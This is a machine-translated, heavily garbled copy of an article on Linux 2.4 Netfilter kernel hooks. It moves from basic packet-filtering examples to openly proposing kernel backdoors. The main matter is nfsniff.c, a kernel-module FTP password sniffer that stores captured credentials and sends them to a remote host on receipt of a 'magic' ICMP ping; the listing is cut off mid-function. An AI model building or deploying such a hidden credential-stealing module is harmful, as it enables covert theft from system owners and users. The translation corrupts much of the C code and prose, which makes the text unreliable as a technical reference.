Deeper Linux Network Core Stack

zhaozj2021-02-16  64

| = --------------------- = [in-depth Linux network core stack] = ------------------ ----- = || = ----------------------------------------- ------------------------------ = || = ---------------- - = [Bioforge ] = -------------------- = || = ------------ ------------ = ---------------------------- = |

table of Contents

1 - Introduction 1.1 - Content of this article 1.2 - Content of this article 2 - Various Netfilter Hook and its usage 2.2 - Linux kernel to handle data package 2.2 - Netfilter to IPv4 Hook3 - Registration and logout Netfilter Hook4 - Netfilter Basic Data News Filtering Technology [1] 4.1 - Deep into the HOOK Function 4.2 - Filtering 4.3 - Based on the address 4.4 - Based on the TCP port 5 - Netfilter Hook Other Method 5.1 - Hidden Home Guardings 5.2 - Based on FTP password sniffer 5.2.1 - Source code: nfsniff.c5.2.2 - Source code: getPass.c6 - Hide network communication in LibPCAP 6.1 - Sock_packet, Sock_RAW and LibPCap6.2 - Give Wolf Pulling Goepskin 7 - Conclusion A - Lightweight Firewall A.1 - Overview A.2 - Source Code: LWFW.CA.3 - Header: LWFW.HB - Source Code in Section 6

--[ 1 Introduction

This article will show you that some weird behavior of Linux network stack (not a weakness) how to be used for evil or other equivalents. It will be discussed here that Netfilter Hook that looks legally on the surface is used for the back door communication, and a technique that communicates a particular network communication in the LibpCap-based sniffer in the unit. Netfilter is a subsystem of the Linux 2.4 kernel. Netfiler makes skills such as packet filtering, network address translation (NAT), and network connection tracking. These functions can only be used by all kinds of HOOKs provided using kernel network code. carry out. These hooks are in the kernel code, or the static link is either exist in the form of a dynamically loaded module. You can register the corresponding callback function for the specified network event, and the reception of the packet is such an example.

---- [1.1 - Contents] How to discuss how module writers use Netfilter Hook to implement any purposes and how to communicate network communication in LIBPCAP-based applications. Although Linux 2.4 supports HOOK for IPv4, IPv6, and Decnet, this will only discuss topics about IPv4, although most of the contents of IPv4 can also be applied to other protocols. For the purpose of teaching, Appendix A provides a kernel module that provides basic package filtration. All developments and trials in this article are completed in Linux 2.4.5 running on the Intel host. Tests for the Netfilter Hook function are done on the loopback interface, the Ethernet interface, and the modem point. This article is also written for my interested in Netfilter's fully understood. I can't guarantee that any code included in the article is not a mistake, but I have tested all the code provided here. I have been suffering enough to get the core mistake, so sincerely hope that you will not be like this. Similarly, I don't take responsibility for any damage that may occur in operations described herein. This article assumes that the reader is familiar with C language programming and has a certain experience of loading modules. Welcome to criticize the errors in this article, I will also open up the advice on this paper and other various good techniques for Netfilter. ---- [1.2 - Contents of this article This article is not a complete reference material on the details of Netfilter, and is not a reference for iptables. If you want to know more about iptables, please refer to the relevant man page. Ok, let us start from the use of Netfilter ...

- [2 - Various Netfilter Hook and its use ---- [2.1 - Linux kernel to process the data package seems to be I like to get deep into packet processing, such as Linux, and the occurrence of events and tracking each Netfilter Hook in the blood of Hook, this is not the case! The reason is very simple, and HARALD WELTE has written an excellent article on this topic - "Journey of A Packet Through The Linux 2.4 Network Stack". If you want to know more about Linux packet processing, I highly recommend you to read this article. Now, just understand: When the data package travels the network stack of the Linux kernel, it passes through several hook points, here, the packet can be analyzed and the choice is reserved or discarded, these Hook points are Netfilter Hook.

---- [2.2 - Netfilter to IPv4 HOOK

The Netfilter defines five hooks about IPv4, which can be found in Linux / NetFilter_IPv4.h. These hook columns in the table below: Table 1: Available IPv4 Hook

Hook Call NF_IP_PRE_ROUTING After the integrity check, NF_IP_LOCAL_IN before the selection is determined, and the purpose of the data packet is the local host NF_IP_FORWARD destination is the other host data packet NF_IP_LOCAL_OUT from the data packet from the native process. NF_IP_POST_ROUTING before leaving the local host, before leaving the local host "Online"

NF_IP_PRE_ROUTING This hook is the first HOOK called after the packet is received. This hook is not used in the module to be described later. Of course, other hooks are also very useful, but here, our focus is on NF_IP_PRE_ROUTING this hook.

After the Hook function completes any of the operations required for the packet, they must return one of the following predefined NetFilter return values: Table 2: Netfilter Return Value

Return Value Enlightenment NF_DROP Discard This Packet NF_ACCEPT Reserved This packet NF_STOLEN forgets the packet NF_QUEUE to insert the packet into the user space nf_repeat again call the hook function NF_DROP This return value is that the packet will be completely discarded, all Both resources to be allocated, should be released. NF_ACCEPT This return value tells NetFilter: So far, the packet is still accepted and the packet should be submitted to the next stage of the network stack. Nf_stolen is an interesting return value because it tells Netfilter, "Forget" this packet. Here, tell Netfilter is: The Hook function will start processing for packets from this, and NetFilter should give it to do anything to the packet. However, this does not mean that the resources of the packet have been released. This packet and its own SK_BUFF data structure are still valid, just the hook function gets the ownership of the packet from Netfilter. Unfortunately, I am not completely clear, if I work, I don't discuss it here. The last return value nf_repeat requests Netfilter to call this hook function again. Obviously, the user should use NF_Repeat to return to the return value to avoid death cycles. - [3 - Register and log out of Netfilter HOOK

Registering a hook function is a very simple operation around the NF_HOK_OPS data structure, the NF_HOOK_OPS data structure is defined in Linux / NetFilter.h, which is defined as follows:

Struct nf_hook_ops {struct list_head list;

/ * This value is filled by the user * / nf_hookfn * hook; int pf; int hooknum; / * hook is sorted by ascending order * / int priority;

The List member in this data structure is used to maintain a list of Netfilter Hook and is not the focus of users who need to care when registering hook. The Hook member is a pointer to the NF_HOOKFN type function, which is the function that is executed when this Hook is called. NF_HOOKFN is also defined in Linux / NetFilter.h. PF This member is used to designate the protocol. The effective protocol is listed in Linux / Socket.h, but for IPv4 we want to use the protocol family PF_INET. Hooknum This member is used to specify the specific HOOK type corresponding to the installed function, which is one of the values ​​listed in Table 1. Finally, the Priority member is used to specify in the order in which this hook function should be placed. For IPv4, available values ​​are defined in the NF_IP_HOOK_PRIORISIES enumeration enumeration of Linux / Netfilter_IPv4.h. For demonstration purposes, we will use NF_IP_PRI_FIRST in the back module. Registering a Netfilter Hook requires calling the nf_register_hook () function, as well as an NF_HOOK_OPS data structure. The nf_register_hook () function is used as the address of an NF_HOOK_OPS data structure and returns a integer value. However, if you really look at the NF_REGITER_HOOK () function of NET / CORE / NETFILTER.C, you will find that the function always returns 0. The following is provided with an example code, which simply registers a function that discards all arriving packets. This code also shows how Netfilter's return value is parsed.

Sample Code 1: Netfilter Hook Register / * * Install a sample code for the Netfilter hook function that discards all arrival packets * /

#define __kernel __ # Define Module

#include #include #include #include / * Data structure for registering our functions * / static Struct NF_HOOK_OPS NFHO;

Implementation / * registered hook function * / unsigned int hook_func (unsigned int hooknum, struct sk_buff ** skb, const struct net_device * in, const struct net_device * out, int (* okfn) (struct sk_buff *)) {return NF_DROP ; / * Discard all packets * /}

/ * Initialization program * / int init_module () {/ * Plugs our hook data structure * / nfho.hook = hook_func; / * handler * / nfho.hooknum = nf_ip_pre_routing; / * Using IPv4's first hook * / NFHO.PF = PF_INET; NFHO.PRIORITY = NF_IP_PRI_FIRST; / * Let our function first execute * /

NF_REGISTER_HOOK (& nfho);

Return 0;}

/ * Clear program * / void cleanup_module () {nf_unregister_hook (& nfho);}

This is all content, from the sample code 1, you can see, logout a netfilter hook is a very simple thing, just call the nf_unregister_hook () function, and use the same for you to register this HOOK The address of the data structure is used as a parameter.

- [4 - Netfilter Basic Datasheet Filtering Technology ---- [4.1 - Deep into the HOOK "

It is now to see what data is passed to the hook function and how these data is used to do filtering. So let us see the prototype of the NF_HOOKFN function more deeper. This function prototype is given in Linux / Netfilter.h, as follows:

Typedef unsigned int nf_hookfn (unsigned int hooknum, struct SK_Buff ** SKB, Const Struct Net_Device * OUT, INT (* OKFN) (Struct SK_Buff *);

The first parameter of the NF_HOOKFN function is used to specify one of the hook types given in Table 1. The second parameter is more interesting, it is a pointer to the pointer, the pointer pointing to the pointer points to a SK_BUFF data structure, the network stack describes the SK_BUFF data structure to describe the packet. This data structure is defined in Linux / Skbuff.h, because it's too much, here I will only list some of the meaningful parts.

The most useful part of the SK_BUFF data structure may be the three descriptions of transport layer headers (eg, UDP, TCP, ICMP, SPX), network layers (eg, IPv4 / 6, IPX, RAW), and link layers (for example : Union of Ethernet or RAW). These three combined names are H, NH, and Mac. These combination contain several structures depending on the protocol used in the specific packet. Users should note that the transport layer clamp and network layers may be the same location to the memory. This is the case where the TCP packet may occur, where H and NH should be seen as a pointer to the IP header structure. This means that attempts to get a value via H-> TH and think that the pointer points to a TCP header, which will get the result of the error. Because h-> th is actually pointing to the IP header, the results obtained from NH-> iPh are the same. The other part of our interest is the two domains of Len and Data. LEN specifies the total length of the data in the packet starting from the DATA. Ok, now we know how to access data in the protocol head and packets in the SK_Buff data structure. What is the other interesting part in the Netfilter hook function?

The two parameters followed after SKB are pointers to the NET_DEVICE data structure, and the NET_DEVICE data structure is used by the Linux kernel to describe all types of network interfaces. The first-in-in-in-in-in-in-in, which is used to describe the interface reachable, and the parameter OUT is used to describe the interface where the packet leaves. It must be understood that in general, there will be only one of these two parameters. For example, the parameter I is only used for NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN HOOK, and the parameter OUT is only used for NF_IP_LOCAL_OUT and NF_IP_POST_ROUTING HOOK. In this stage, I haven't tested for NF_IP_FORWARD HOOK, which are valid in these two parameters, but if you can determine these pointers before use, then you are very good!

Finally, the last parameter passed to the HOOK function is a named OKFN function pointer, which is a unique parameter in one SK_BUFF data structure and returns an integer value. I am not very sure that this function is to use, view in Net / Core / NetFilter.c, and this OKFN function is called in two places. These two places are in a function nf_hook_slow (), respectively, in a certain location, where the NetFilter Hook is called when NETFILTER HOOK is NF_ACCEPT. If anyone has more information about the OKFN function, be sure to tell. ** Translation: Linux core network stack has a global variable: struct list_head nf_hooks [nproto] [NF_MAX_HOOKS], this variable is a two-dimensional array, where the first dimension is used to designate the protocol, the second dimension is used to specify HOOK Type (Types defined in Table 1). Registering a Netfilter Hook is actually added to a new node in the list identified by the protocol and Hook type. The following code is taken from NET / CORE / NETFILTER, the implementation of the nf_register_hook () function: int NF_REGISTER_HOOK (STRUCT NF_HOOK_OPS * REG) {struct list_head * i;

BR_WRITE_LOCK_BH (BR_NETPROTO_LOCK); for (i = nf_hook [reg-> pf] [reg-> hooknum] .next; i! = & nf_hook [REG-> PF] [REG-> hooknum]; i = I-> Next) { IF ((struct nf_hook_ops * )-> PRIORITY) BREAK;} list_add (? -> list, i-> prev); br_write_unlock_bh (br_netproto_lock); return 0;} Netfilter defines a macro Nf_hook, the author mentioned earlier NF_HOOK_SLOW () function is actually an object of the NF_HOOK macro definition, and executes the registered Hook function in the NF_HOOK. NF_HOOK is called at the appropriate parameter in the appropriate parameters of the LINUX core network stack. For example, at the last part of the IP_RCV () function (located in NET / IPv4 / IP_INPUT.C), the NF_HOOK function is called, and the hook of the NF_IP_PRE_ROUTING type is executed. IP_RCV () is a major function for receiving IPv4 packets in the Linux core network stack. In the NF_HOOK parameters, the page contains an OKFN function pointer, which is used for subsequent operations after the packet is received, such as the OKFN function pointer in the NF_HOOK called in the IP_RCV (located in NET / IPv4). /IP_INPUT.C), which is used for subsequent processing such as IP option processing after IP packets. If the CONFIG_NETFILTER macro definition is canceled in the kernel compilation parameter, the NF_HOOK macro definition is replaced with OKFN. The relevant parts of the kernel code are as follows (Linux / Netfilter.h):

#ifdef CONFIG_NETFILTER ... # ifdef CONFIG_NETFILTER_DEBUG # define NF_HOOK nf_hook_slow # else # define NF_HOOK (pf, hook, skb, indev, outdev, okfn) / (list_empty (& nf_hooks [(pf)] [(hook)]) /? ( OKFN (SKB) /: NF_HOOK_SLOW ((PF), (HOOK), (SKB), (Indev), (OUTDEV), (OKFN))) # Endif ... # else / *! config_netfilter * / # define nf_hook (PF, HOOK, SKB, INDEV, OUTDEV, OKFN) (SKFN) (SKB) #ENDIF / * config_netfilter * / visible OKFN function is essential, when Netfilter is enabled, it is used to complete the received packet Subsequent operation, if Netfilter does not enable Netfilter to make packet filtering, all packets are accepted, and the function is called directly. ** Due to the completion of our hook function, our hook function is the most interesting and most useful part of the information received. It is to see how we use this information to filter packets in a variety of ways. ! ---- [4.2 - Filtration based on the interface

This should be the simplest filtering technology we can do. Remember those NET_DEVICE data structures in the parameters received by our hook function? With the Name of the NET_DEVICE data structure, you can choose whether to discard it according to the source interface and destination interface of the packet. If you want to discard all packets that arrive at the interface Eth0, all you need to do is compared to "Eth0", if the name matches, then the hook function is simple to return NF_DROP, the data package is Automatic destruction. It is so simple! The sample code to complete this feature see the following sample code 2. Note that the Light-Weight Firewall module will provide a simple example of all filtration methods mentioned herein. It also includes an IOCTL interface and an application for dynamically changing its characteristics. Sample Code 2: Source interface-based packet filtering / ** Install a sample code for Netfilter hook functions discarding all the packets that enter us to specify interfaces * / # define __kernel __ # define module # include # Include #include #include #include / * Data structure for registering our function * / static struct NF_HOOK_OPS NFHO;

/ * We discarded the name of the interface from the interface * / static char * DROP_IF = "lo";

Implementation / * registered hook function * / unsigned int hook_func (unsigned int hooknum, struct sk_buff ** skb, const struct net_device * in, const struct net_device * out, int (* okfn) (struct sk_buff *)) {if ( Strcmp (in-> name, drop_if) == 0) {Printk ("Dropped Packet On% S ... / N", DROP_IF); return nf_drop;} else {return nf_accept;}}

/ * Initialization program * / int init_module () {/ * Plugs our hook data structure * / nfho.hook = hook_func; / * handler * / nfho.hooknum = nf_ip_pre_routing; / * Using IPv4's first hook * / NFHO.PF = PF_INET; NFHO.PRIORITY = NF_IP_PRI_FIRST; / * Let our function first execute * /

NF_REGISTER_HOOK (& nfho); Return 0;} / * Clear Program * / void cleanup_module () {nf_unregister_hook (& nfho);

Is not it simple? Next, let's take a look at the filter based on the IP address.

---- [4.3 - Filter based on the address

Similar to the interface according to the data packet, it is equally simple to filter the source or destination IP address of the packet. This time we are interested in the SK_BUFF data structure. Remember that the SKB parameter is a pointer to a pointer to the SK_BUFF data structure? To avoid errors, a pointer to the SKB_BUFF data structure is declared and the pointer points to the SKB pointer to this new pointer is a good habit, just like this: struct SK_BUFF * SB = * SKB; / * Remove 1 Level Of indirection * /

In this way, you only need to reverse the element when you visit this data structure. Getting a packet's IP header is done by using the network layer header in the SK_BUFF data structure. This head is in a joint, which can be accessed in a manner in SK_Buff-> NH.IPH. The function in the sample code 3 demonstrates how to use it to check the source IP address of the received packet to check if the source IP address of the received packet is the same. These codes are taken directly from the LWFW, and the only difference is the update of the LWFW statistics is removed. Sample Code 3: Check the source Ipunsigned char * deny_ip = "/ x7f / x00 / x00 / x01"; / * 127.0.0.1 * / ... static int check_ip_packet (STRUCT SK_BUFF * SKB) {/ * We don't want any null pointers in the chain to * the ip header. * / If (! SKB) RETURN NF_ACCEPT; if (! (SKB-> NH.IPH)) Return nf_accept; if (SKB-> NH.IPH -> saddr == * (unsigned int *) deny_ip) {return nf_drop;}

Return nf_accept;} This, if the source address of the packet matches the address of the dropped packet we set, the packet will be discarded. In order to make this function work in a expected manner, the value of DENY_IP should be stored in the network word sequence (opposite Big-endian, opposite to Intel). Although this function is unlikely to call with an empty pointer as a parameter, bring a little parallel and crazy. Of course, if the error does happen, the function will return nf_accept. This NetFilter can continue to process this packet. Sample Code 4 shows a simple module for demonstrating the interface-based filtering based filtering to discard packets that match the given IP address. Sample Code 4: Filtering / * Installation Discard All Sample Codes of Netfilter Hook from the Packet from the Specified IP Address * /

#define __kernel __ # Define Module

#include #include #include #include / * for ip header * / # include #include

/ * Data structure for registering our functions * / static struct nf_hook_ops nfho;

/ * We have to discard the packet from the address from the address, network word sequence * / static unsigned char * DROP_IP = "/ x7f / x00 / x00 / x01"

Implementation / * registered hook function * / unsigned int hook_func (unsigned int hooknum, struct sk_buff ** skb, const struct net_device * in, const struct net_device * out, int (* okfn) (struct sk_buff *)) {struct sk_buff * SB = * SKB; // Translation: The method of comparing the address in the code provided is wrong, see the partial IF (SB-> NH.IPH-> Saddr == * (unsigned int *) Drop_IP ) {// if (SB-> NH.IPH-> Saddr == Drop_ip) {Printk ("Dropped Packet from ...% D.% d.% d.% d / n", * DROP_IP, * (DROP_IP 1), * (DROP_IP 2), * (DROP_IP 3)); return nf_drop;} else {return nf_accept;}} / * initializer * / int init_module () {/ * Fill our HOOK data structure * /NFHO.HOOK = hook_func; / * Processing function * / nfho.hooknum = nf_ip_pre_routing; / * Using IPv4's first hook * / nfho.pf = pf_inet; nfho.priority = nf_ip_pri_first; / * Let our function first execute * /

NF_REGISTER_HOOK (& nfho);

Return 0;}

/ * Clear program * / void cleanup_module () {nf_unregister_hook (& nfho);}

---- [4.4 - Filtration based on TCP port

Another simple rule to be implemented is filtered based on the TCP destination port of the packet. This is only a little bit more than checking the IP address, as we need to create a TCP header pointer. Remember the contents of our headed head and network layers before we discussed earlier? Getting a TCP header is a simple thing - assign a pointer to a TCPHDR data structure (defined in Linux / TCP.H) and pointing it to the IP header in our packet. Perhaps an example of an example is more, the sample code 5 gives the code that checks if the TCP destination port of the packet is matched with a port that we want to discard the packet. As with sample code 3, these code is taken from LWFW. Sample code 5: Check the TCP destination port of the received packet Unsigned char * denyl_port = "x00 / x19"; / * port 25 * /

...

Static int check_tcp_packet (struct SK_Buff * SKB) {struct tcphdr * thead;

/ * We don't want any null pointers in the chain * to the ip header. * / If (! SKB) RETURN NF_ACCEPT; if (! (! (! (! (!) RETURN NF_ACCEPT;

/ * Be Sure this is a tcp packet first * / if (SKB-> NH.IPH-> protocol! = Ipproto_tcp) {return nf_accept;

THEAD = (STRUCT TCPHDR *) (SKB-> DATA (SKB-> NH.IPH-> IHL * 4));

/ * Now Check The Destination Port * / if ((THEAD-> DEST) == * (unsigned short *) deny_port) {return nf_drop;} Return nf_accept;} is really simple! Don't forget, let this function work, Deny_Port must be a network word sequence. This is the basis of packet filtering, you should understand how to get information you want for a specific packet. Now, it's time to enter more interesting content!

- [5 - other possible usage of Netfilter Hook

Here, I will present some other cooked ideas, 5.1 sessions will give simple food, and 5.2 will discuss and give the code that can work based on kernel-based FTP password sniffer code, it Remote password acquisition functions are really available. In fact, it works to be surprised, and I wrote it. ---- [5.1 - Hidden home guards

The core module programming may be one of the most interesting parts of Linux development, writing code in the kernel means you write code only by your imagination. From a malicious point of view, you can hide files, processes, and do everything that is cool, any Rootkit can do. So, in the point of view of not very malicious, it is true that people do it in this point of view), you can hide files, processes, and dry all kinds of things. The kernel is really a charming paradise! With the powerful power given the internal nuclear level, many things are possible. One of the most interesting (also letting system administrators panic) one is the back door embedded in the kernel. After all, if the latter is not running as a process, then how do we know how it is running? Of course, there is still a way to make your kernel out of this back door, but they are not as easy as and simple as running the PS command. Today, the idea that the back door code is placed in the kernel is not new. However, I am now proposed here to place a simple network service used as a latter door. You guessed, it is Netfilter Hook! If you already have the necessary skills and wish to make your kernel collapse, you can build simple but useful, completely in the kernel, which can be accessed remotely. Basically, a Netfilter Hook can find a "magic" packet by observing the received packet, and doing the specified matter when receiving this "Magic" packet. The result can be sent by Netfilter Hook. And the hook function can return NF_STOLEN to make the "magic" packet you can go further. However, it should be noted that when sending in this way, the output data package is still visible to the output Netfilter Hook. Therefore, the user space does not know that this "magic" packet has arrived, but they can still see you sent. Beware! Because the sniffer on the leakage host can't see this package does not mean that the odor can not see this package on other intermediate host hosts. Kossak and Lifeline have written a wonderful article for Phrack, which describes how to complete such functions by registering a packet type processor. Although this article involves Netfilter Hook, I still recommend reading their articles (No. 55, document 12), because it is an interesting reading of some very interesting ideas. So, what work can the back door Netfilter Hook? Here are some suggestions: - Remote Access Key-Logger. The module record keys, and when the remote host sends a PING request, the result is sent to the host. In this way, a stream of hitting information similar to a stable (non-flood) PING response can be generated. Of course, you may want to achieve a simple encryption, so that the ASCII button will not immediately expose themselves, and some alert system administrator will want: "Stick, I used to type through my SSH conversation. ! OH $% @ t% &! ". - Various simple administrators tasks, such as gettings a list of users currently logged in to the host or for information on the open network connection. - Not a real back door, but is a module in the network boundary, and block any communication that is suspected from Trojan, ICMP hidden channel or document sharing tool like Kazaa. - File Transfer "Server". I have recently implemented this idea, which caused Linux core programming is a few hours of fun:) - Packet jump. The redirected purpose is to specify the data packet of the Trojan host to other IP hosts and ports, and send back the packet from that host to the initiator. There is no process being derived, and the most wonderful is that there is no network socket being opened.

- The data packets described above are used to communicate with a critical system in the network. For example: Configure a router, etc.. - FTP / POP3 / TELNET Password. Sniff the output password and save related information until you enter the "Magic" packet requires them. The above is just a short list of ideas, where the last idea is that we will be discussed in detail in the next section. It provides a good understanding of more functions in the core network code. ---- [5.2 - Nuclear-based FTP password sniffer

It is a simple, principled, a module that is used as a Netfilter back door. The module sniffer outputs the output FTP packet to find a user for an FTP server on the pass command pair. When such a command is discovered, the module will wait for a "magic" ICMP ECHO (PING) packet, which should be large enough to return the server's IP address, username, and password. At the same time, it provides a quick send a "magic" packet to get the tip that returns and then prints the return information. Once the username / password is read from the module, the module will then look for the next pair. Note that the module is only saved each time. The above is a browsing, which is to show more details to see how modules do it. When the module is loaded, the module's init_module () function is simple to register two NetFilter Hook. The first packet used to view the input (at NF_IP_PRE_ROUTING), try to discover the "Magic" ICMP packet. The next one is used to see the packet (at NF_IP_POST_ROUTING), which is searching and capturing FTP's USER and PASS packets. The Cleanup_Module () function is just simple to log out of these two hooks. Watch_out () is a function used for hook nf_ip_post_routing, view this function. You can see that its execution is very simple. When a packet enters this function, it will pass a variety of checks to determine it is an FTP packet. If it is not an FTP packet, return to NF_ACCEPT immediately. If it is an FTP packet, then the module checks if there is already a username / password pair. If there is (non-zero value identifier in Have_Pair), then return NF_ACCEPT, which can eventually leave the system. Otherwise, the check_ftp () function is called, which is where the password extracts actually occurred. If there is no previous packet already received, the target_ip and target_port variables should be cleared. Check_ftp () begins to find "User", "Pass" or "Quit" from the start of the packet. Note that the pass command is processed until the USER command process is processed. The purpose of doing this is to prevent the passing of the deadlock caused by the pass command before the user command is received and the User arrives. Similarly, if only the username is captured if the quit command arrives, the reset operation will start sniffing a new connection. When a USER or pass command arrives, if the integrity check is passed, the parameters of the command are recorded. Under normal operation, check whether there is a valid username and password string before the check_ftp () function is completed. If so, set the value of HAVE_PAIR to be non-zero and the current username / password will not capture other usernames or passwords before being acquired. So far you have seen this module how to install it yourself and how to start searching for the username and password to be recorded. Next, you will see what happens when the specified "Magic" packet arrives. Special attention is required here because this is the biggest problem that appears throughout the development process. If I have not remembered, I have encountered 16 core errors :). When the data packet is installed in the host of the module, Watch_in () checks each packet to see if it is a "magic" packet. If the packet cannot provide enough to prove that it is a "magic" packet, it will be ignored by Watch_in (), simply returns an NF_ACCEPT. Note One of the standards of the Magic packet is that they must have enough space to store IP addresses and usernames and password strings. This makes the send response easier.

Of course, you can redistribute a new SK_BUFF, but the correct acquisition of all the necessary domains may be more difficult, and you must also get the right to get them! Therefore, a new data structure is created for our response packets, not as simple as a simple adjustment request packet. For successful return packets, you need to do a few modifications. First, switch the IP address, and the domain (pkt_type) of the packet type in the SK_BUFF data structure should be replaced with packet_outgoing, which is defined in Linux / if_packet.h. The next should be careful that it is determined that any link homer is included. The data domain of the SK_BUFF data structure we receive is directed to the link homer, and it is a data domain that pointing the data of the transmitted packet. Then, for interfaces that require link layers (Ethernet and loopback and point-to-point-to-point-to-point, we point the data field to the Mac.Ethernet or Mac.RAW structure. To determine what type of interface from this packet, you can view the value of SB-> dev-> Type, where SB is a pointer to the SK_BUFF data structure. The valid value of this domain can be found in Linux / if_arp.h, but the most useful several are listed in Table 3 below. Table 3: Common value type of interface type Code interface Type Arphrd_ether Ethernet Arphrd_loopback loopback device arphrd_ppp point-to-point (such as dial)

Finally, we have to do real copying the data sent in the response we want. When the packet is sent, the dev_queue_xmit () function takes a pointer to the SK_BUFF data structure as its unique parameters, in the "Good Error", returns a negative error code. What does I mean by "good mistake"? If you give a function dev_queue_xmit () an error constructed socket buffer, you will get a "less good error" with Dump information accompanying the kernel error and kernel stack. See how the error here can be divided into two groups? Finally, Watch_in () returns NF_STolen to tell Netfilter forgetting it has seen this packet. If you have called dev_queue_xmit (), don't return NF_DROP! This is because dev_queue_xmit () will release the transferred socket buffer, and NetFilter will try to do the same operation to the NF_DROP packet. All right. For the discussion of the code is enough, please see the specific code. ------ [5.2.1 - Source code: NFSniff.c

< > nfsniff / nfsniff.c / * Simple proof-of-concept for kernel-based FTP password sniffer. * A captured Username and Password pair are sent to a remote host * when that host sends a specially formatted ICMP packet. Here we * shall use an ICMP_ECHO packet whose code field is set to 0x5B * * aND * the packet has enough * space after the headers to fit a 4-byte IP address and the * username and password fields which are a max. of 15 characters * Each Plus a null byte. so a total icmp payload size of 36 bytes. * /

/ * Written by Bioforge, March 2003 * /

#define module # define __kernel __ # include #include #include #include #include #include #include #include #include #include #include # include #include

#define magic_code 0x5b # Define reply_size 36

#define ICMP_PAYLOAD_SIZE (htons (sb-> nh.iph-> TOT_LEN) / - SIZEOF (Struct Iphdr) / - Sizeof (Struct ICMphdr))

/ * THESE values ​​are used to keep the USERname and PASSword until * they are queried Only one USER / PASS pair will be held at one * time and will be cleared once queried * / static char * username = NULL;.. Static char * Password = null; static int have_pair = 0; / * Marks if We Already Have A Pair * /

/ * Tracking information. Only log user and pass commands That Go to the * Same IP address and tcp port. * / Static unsigned int target_ip = 0; static unsigned short target_port = 0;

/ * Used to described ot network_ops * / struct nf_hook_ops pre_hook; / * incoming * / struct nf_hook_ops post_hook; / * Outgoing * /

/ * Function that looks at an sk_buff that is known to be an FTP packet. * Looks for the USER and PASS fields and makes sure they both come from * the one host as indicated in the target_xxx fields * / static void check_ftp (struct sk_buff * SKB) {struct tcphdr * tcp; char * data; int LEN = 0; int i = 0; TCP = (Struct TCPHDR *) (SKB-> DATA (SKB-> NH.IPH-> IHL * 4)) ; DATA = (CHAR *) ((int) TCP (INT) (TCP-> DOFF * 4));

/ * NOW, IF WE HAVE A TARGET_IP. * Make Sure That this packet is destined for the Same Host. * / If (username) IF (SKB-> NH.IPH-> DADDR! = Target_ip || tcp-> source! = target_port) Return; / * Now try to see if this is a user or pass packet * / if (Strncmp (Data, "User", 5) == 0) {/ * username * / Data = 5; if (username) return; while (* (Data i)! = '/ r' && * (Data i)! = '/ n' && * (Data i)! = '/ 0 '&& i <15) {len ; i ;} = ((username = kmalloc (len 2, gfp_kernel) == null) Return; MEMSET (username, 0x00, len 2); Memcpy (Username, Data, Len ); * (username len) = '/ 0'; / * null terminate * /} else if (Strncmp (Data, "Pass", 5) == 0) {/ * password * / data = 5; / * If a usrname hasn't been logged yet kil dam = if (username == null) return; if (password) return; while (* (Data i)! = '/ R' && * (Data i)! = '/ n' && * (Data i)! = '/ 0' && i <15) {len ; i ;}

IF ((Password = kmalloc (LEN 2, GFP_kernel) == null) Return; MemSet (Password, 0x00, Len 2); Memcpy (Password, Data, Len); * (Password LEN) = '/ 0 '; / * Null terminate * /} else IF (Strncmp (Data, "Quit", 4) == 0) {/ * quit command receivers. If we have a username but no password, * Clear the username and reset everything * / if (have_pair) return; if (username&! Password) {kfree (username); username = null; target_port = target_ip = 0; Have_pair = 0; Return;}} else {return;}

IF (! target_ip) target_ip = SKB-> NH.IPH-> DADDR; if (! target_port) Target_port = TCP-> Source; if (username && password) Have_pair ; / * Have a Pair. Ignore Others Until * this Pair HAS BEEN READ. * /////////printk ("Have Password Pair! U:% S: P:% S / N", UserName, Password);

/ * Function called as the POST_ROUTING (last) hook. It will check for * FTP traffic then search that traffic for USER and PASS commands. * / Static unsigned int watch_out (unsigned int hooknum, struct sk_buff ** skb, const struct net_device * IN, const struct net_device * out, int (* okfn) (STRUCT SK_BUFF *)) {struct SK_BUFF * SB = * SKB; STRUCT TCPHDR * TCP; / * MAKE SURE this is a tcp packet first * / if (SB-> NH.IPH-> Protocol! = ipproto_tcp) Return nf_accept; / * nope, not tcp * / tcp = (Struct TCPHDR *) ((SB-> DATA) (SB-> NH.IPH-> IHL * 4)))) ; / * Now Check to see if it's an ftp packet * / if (tcp-> dest! = HTONS (21)) Return nf_accept; / * nope, not fp * // * Parse the ftp packet for Relevant Information IF WE DON 'T Already * Have A UserName and Password Pair. * / if (! Have_pair) Check_FTP (SB); / * We are finished with the packet, let it go on it * / return nf_accept;}

/ * Procedure that watches incoming ICMP traffic for the "Magic" packet. * When that is received, we tweak the skb structure to send a reply * back to the requesting host and tell Netfilter that we stole the * packet. * / Static unsigned int watch_in (unsigned int hooknum, struct sk_buff ** skb, const struct net_device * in, const struct net_device * out, int (* okfn) (struct sk_buff *)) {struct sk_buff * sb = * skb; struct icmphdr * icmp; Char * cp_data; / * where we copy data to in reply * / unsigned int taddr; / * temporary ip Holder * /

/ * Do We Even Have a username / password pair to report yet? * / If (! Have_pair) RETURN NF_ACCEPT; / * IS this an icmp packet? * / If (SB-> NH.IPH-> protocol! = Ipproto_icmp) Return nf_accept; ICMP = (Struct ICMphDR *) (SB-> Data SB-> NH.IPH-> IHL * 4); / * Is it the magic packet? * / if (ICMP-> Code! = Magic_code || icmp-> type = ICMP_ECHO || ICMP_PAYLOAD_SIZE nh.iph-> saddr; sb-> NH. IPH-> Saddr = SB-> nh.iph-> daddr; sb-> nh.iph-> DADDR = TADDR;

SB-> PKT_TYPE = Packet_outgoing;

switch (sb-> dev-> type) {case ARPHRD_PPP: / * No fiddling needs doing * / break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: {unsigned char t_hwaddr [ETH_ALEN]; / * Move the data pointer to point to the link layer Header * / sb-> data = (unsigned char *) sb-> mac.ethernet; SB-> LEN = Eth_hlen; //sizeof(SB ket ithernet );memcpy (T_Hwaddr, (SB-> Mac). Ethernet-> h_dest), eth_alen; memcpy (SB-> Mac.Ethernet-> H_DEST), (SB-> Mac.Ethernet-> h_source), eth_alen; memcpy ((SB-> Mac.Ethernet-> h_source ), t_hwaddr, eth_alen; Break;}};

